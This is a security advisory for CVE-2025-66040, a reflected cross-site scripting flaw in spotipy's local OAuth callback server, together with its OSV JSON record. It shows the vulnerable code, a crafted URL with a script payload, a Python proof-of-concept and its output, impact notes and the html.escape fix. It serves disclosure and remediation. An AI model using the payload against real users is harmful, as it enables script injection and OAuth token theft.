GHSA-R77H-RPP9-W2XM
Vulnerability from github – Published: 2025-12-01 19:07 – Updated: 2025-12-01 19:07Summary
XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Details
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080
2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
3. User visits URL → JavaScript executes in localhost origin
PoC
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
- Expected (safe): <script>alert("XSS")</script>
- Actual (vulnerable): <script>alert("XSS")</script>
- The script tags are NOT escaped → XSS confirmed
Impact
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High - Requires timing (during brief OAuth window) - Localhost-only (127.0.0.1) - Requires user interaction (click malicious link)
Potential Impact: - Execute JavaScript in localhost origin - Access other localhost services (port scanning, API calls) - Steal data from local web applications - Extract OAuth tokens from browser storage - Bypass CSRF protections on localhost endpoints
CVSS 3.1 Score: 4.2 (Medium) - Attack Vector: Local - Attack Complexity: High - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality/Integrity: Low
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "spotipy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66040"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-01T19:07:26Z",
"nvd_published_at": "2025-11-27T00:15:55Z",
"severity": "LOW"
},
"details": "### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user\u0027s browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: {status}\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication \u2192 local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=\u003cscript\u003ealert(1)\u003c/script\u003e\u0026state=x`\n3. User visits URL \u2192 JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n server = start_local_http_server(8080)\n server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027\nurl = f\u0027http://127.0.0.1:8080/?error={payload}\u0026state=test\u0027\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n print(f\"\\n[!] VULNERABLE: Payload \u0027{payload}\u0027 reflected without escaping!\")\nelse:\n print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eAuthentication status: failed (\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e)\u003c/h1\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n[!] VULNERABLE: Payload \u0027\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e\u0027 reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `\u0026lt;script\u0026gt;alert(\"XSS\")\u0026lt;/script\u0026gt;`\n- Actual (vulnerable): `\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e`\n- The script tags are NOT escaped \u2192 XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy\u0027s OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n status = f\"failed ({html.escape(str(self.server.error))})\"\n```",
"id": "GHSA-r77h-rpp9-w2xm",
"modified": "2025-12-01T19:07:26Z",
"published": "2025-12-01T19:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66040"
},
{
"type": "WEB",
"url": "https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"
},
{
"type": "PACKAGE",
"url": "https://github.com/spotipy-dev/spotipy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spotipy has a XSS vulnerability in its OAuth callback server"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.